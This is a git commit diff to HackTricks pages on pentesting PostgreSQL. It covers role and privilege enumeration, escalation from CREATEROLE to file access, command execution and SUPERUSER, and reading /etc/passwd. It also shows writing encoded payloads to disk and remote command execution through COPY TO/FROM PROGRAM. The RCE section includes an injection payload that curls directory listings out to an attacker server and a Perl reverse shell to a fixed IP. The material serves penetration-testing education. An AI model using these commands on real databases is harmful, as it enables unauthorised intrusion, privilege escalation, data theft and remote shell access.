GitBook: [#3576] No subject

This commit is contained in:
CPol 2022-10-07 12:55:24 +00:00 committed by gitbook-bot
parent cbd40bbf74
commit 52b0419e2d
No known key found for this signature in database
GPG Key ID: 07D2180C7B12D0FF
2 changed files with 214 additions and 47 deletions

View File

@ -22,7 +22,7 @@ Get Access Today:
## **Basic Information**
**PostgreSQL** is an \_\*\*\_open source object-relational database system that uses and extends the SQL language.
**PostgreSQL** is an open source object-relational database system that uses and extends the SQL language.
**Default port:** 5432, and if this port is already in use it seems that postgresql will use the next port (5433 probably) which is not in use.
@ -46,13 +46,8 @@ psql -h localhost -d <database_name> -U <User> #Password will be prompted
\d # List tables
\du+ # Get users roles
#Read a file
CREATE TABLE demo(t text);
COPY demo from '[FILENAME]';
SELECT * FROM demo;
#Write ascii to a file (copy to cannot copy binary data)
COPY (select convert_from(decode('<B64 payload>','base64'),'utf-8')) to 'C:\\some\\interesting\path.cmd';
# Get current user
Select user;
#List databases
SELECT datname FROM pg_database;
@ -60,45 +55,19 @@ SELECT datname FROM pg_database;
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
#Check if current user is superiser
SELECT current_setting('is_superuser'); #If response is "on" then true, if "off" then false
#Check if plpgsql is enabled
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql'
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
#Check users privileges over a table (pg_shadow on this example)
SELECT grantee, privilege_type
FROM information_schema.role_table_grants
WHERE table_name='pg_shadow'
#Get users roles
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolconnlimit, r.rolvaliduntil,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
```
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
Get Access Today
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
For more information about how to abuse a PostgreSQL database check:
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %}
[postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/)
{% endcontent-ref %}
## Enumeration
@ -116,6 +85,151 @@ Client authentication is controlled by a config file frequently named _**pg\_hba
**Each** record **specifies** a **connection type**, a **client IP address range** (if relevant for the connection type), a **database name**, a **user name**, and the **authentication method** to be used for connections matching these parameters. The **first record with a match**ing connection type, client address, requested database, and user name **is used** to perform authentication. There is no "fall-through" or "backup": **if one record is chosen and the authentication fails, subsequent records are not considered**. If no record matches, access is denied.\
The **password-based** authentication methods are **md5**, **crypt**, and **password**. These methods operate similarly except for the way that the password is sent across the connection: respectively, MD5-hashed, crypt-encrypted, and clear-text. A limitation is that the crypt method does not work with passwords that have been encrypted in pg\_authid.
## Enumeration of Privileges
### Roles
| Role Types | |
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| rolsuper | Role has superuser privileges |
| rolinherit | Role automatically inherits privileges of roles it is a member of |
| rolcreaterole | Role can create more roles |
| rolcreatedb | Role can create databases |
| rolcanlogin | Role can log in. That is, this role can be given as the initial session authorization identifier |
| rolreplication | Role is a replication role. A replication role can initiate replication connections and create and drop replication slots. |
| rolconnlimit | For roles that can log in, this sets maximum number of concurrent connections this role can make. -1 means no limit. |
| rolpassword | Not the password (always reads as `********`) |
| rolvaliduntil | Password expiry time (only used for password authentication); null if no expiration |
| rolbypassrls | Role bypasses every row-level security policy, see [Section 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) for more information. |
| rolconfig | Role-specific defaults for run-time configuration variables |
| oid | ID of role |
#### Interesting Groups
* If you are a member of **`pg_execute_server_program`** you can **execute** programs
* If you are a member of **`pg_read_server_files`** you can **read** files
* If you are a member of **`pg_write_server_files`** you can **write** files
{% hint style="info" %}
Note that in Postgres a **user**, a **group** and a **role** is the **same**. It just depend on **how you use it** and if you **allow it to login**.
{% endhint %}
```sql
# Get users roles
\du
#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');
# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT "username" TO pg_execute_server_program;
GRANT "username" TO pg_read_server_files;
GRANT "username" TO pg_write_server_files;
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
```
### Tables
```sql
# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants; WHERE table_name='pg_shadow';
```
### Functions
```
\df *
\df *pg_ls*
```
## **Postgres Privesc**
### CREATEROLE Privesc
#### **Grant**
According to the [**docs**](https://www.postgresql.org/docs/13/sql-grant.html): _Roles having **`CREATEROLE`** privilege can **grant or revoke membership in any role** that is **not** a **superuser**._
So, if you have **`CREATEROLE`** permission you could grant yourself access to other **roles** (that aren't superuser) that can give you the option to read & write files and execute commands:
```sql
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;
```
#### Modify Password
Users with this role can also **change** the **passwords** of other **non-superusers**:
```sql
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
```
#### Privesc to SUPERUSER
It's pretty common to find that **local users can login in PostgreSQL without providing any password**. Therefore, once you have gathered **permissions to execute code** you can abuse these permissions to gran you **`SUPERUSER`** role:
```sql
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
```
{% hint style="info" %}
This is usually possible because of the following lines in the **`pg_hba.conf`** file:
```bash
# "local" is for Unix domain socket connections only
local all all trust
# IPv4 local connections:
host all all 127.0.0.1/32 trust
# IPv6 local connections:
host all all ::1/128 trust
```
{% endhint %}
## **POST**
```
@ -154,6 +268,12 @@ sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
```
### pg\_hba
The file **`pg_hba.conf`** contains who can access to the Postgres database:
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>

View File

@ -40,19 +40,52 @@ PL/pgSQL, as a **fully featured programming language**, allows much more procedu
### Read directories and files
From this [commit ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)members of the `DEFAULT_ROLE_READ_SERVER_FILES` group and super users can use these methods on any path (check out `convert_and_check_filename` in `genfile.c`).:
From this **** [**commit** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)members of the defined **`DEFAULT_ROLE_READ_SERVER_FILES`** group (called **`pg_read_server_files`**) and **super users** can use the **`COPY`** method on any path (check out `convert_and_check_filename` in `genfile.c`):
```sql
# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;
```
{% hint style="warning" %}
Remember that if you aren't super user but has the **CREATEROLE** permissions you can **make yourself member of that group:**
```sql
GRANT pg_read_server_files TO username;
```
[**More info.**](../../../network-services-pentesting/pentesting-postgresql.md#privilege-escalation-with-createrole)****
{% endhint %}
There are **other postgres functions** that can be used to **read file or list a directory**. Only **superusers** and **users with explicit permissions** can use them:
```sql
select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd' , 0 , 1000000);
select * from pg_read_file('/etc/passwd', 0, 1000000);
```
You can find **more functions** in [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)
### Simple File Writing
```bash
Only **super users** and members of **`pg_read_server_files`** can use copy to write files.
```sql
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
```
{% hint style="warning" %}
Remember that if you aren't super user but has the **`CREATEROLE`** permissions you can **make yourself member of that group:**
```sql
GRANT pg_write_server_files TO username;
```
[**More info.**](../../../network-services-pentesting/pentesting-postgresql.md#privilege-escalation-with-createrole)****
{% endhint %}
Remember that COPY cannot handle newline chars, therefore even if you are using a base64 payload y**ou need to send a one-liner**.\
A very important limitation of this technique is that **`copy` cannot be used to write binary files as it modify some binary values.**
@ -61,19 +94,23 @@ A very important limitation of this technique is that **`copy` cannot be used to
However, there are **other techniques to upload big binary files**.\
[**Read this page to learn how to do it.**](big-binary-files-upload-postgresql.md)
## <img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">****
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## RCE
### **RCE to program**
Example of RCE query with exfiltration
Since[ version 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), only **super users** and member of the group **`pg_execute_server_program`** can use copy for RCE (example with exfiltration:
```sql
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
```
### **RCE from version 9.3**
Since[ version 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), new functionality for '[COPY TO/FROM PROGRAM](https://paquier.xyz/postgresql-2/postgres-9-3-feature-highlight-copy-tofrom-program/)' was implemented. This allows the database superuser, and any user in the pg\_execute\_server\_program group to run arbitrary operating system commands.
Example to read file:
```bash
#PoC
@ -88,6 +125,16 @@ DROP TABLE IF EXISTS cmd_exec;
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
```
{% hint style="warning" %}
Remember that if you aren't super user but has the **`CREATEROLE`** permissions you can **make yourself member of that group:**
```sql
GRANT pg_execute_server_program TO username;
```
[**More info.**](../../../network-services-pentesting/pentesting-postgresql.md#privilege-escalation-with-createrole)****
{% endhint %}
Or use the `multi/postgres/postgres_copy_from_program_cmd_exec` module from **metasploit**.\
More information about this vulnerability [**here**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). While reported as CVE-2019-9193, Postges declared this was a [feature and will not be fixed](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).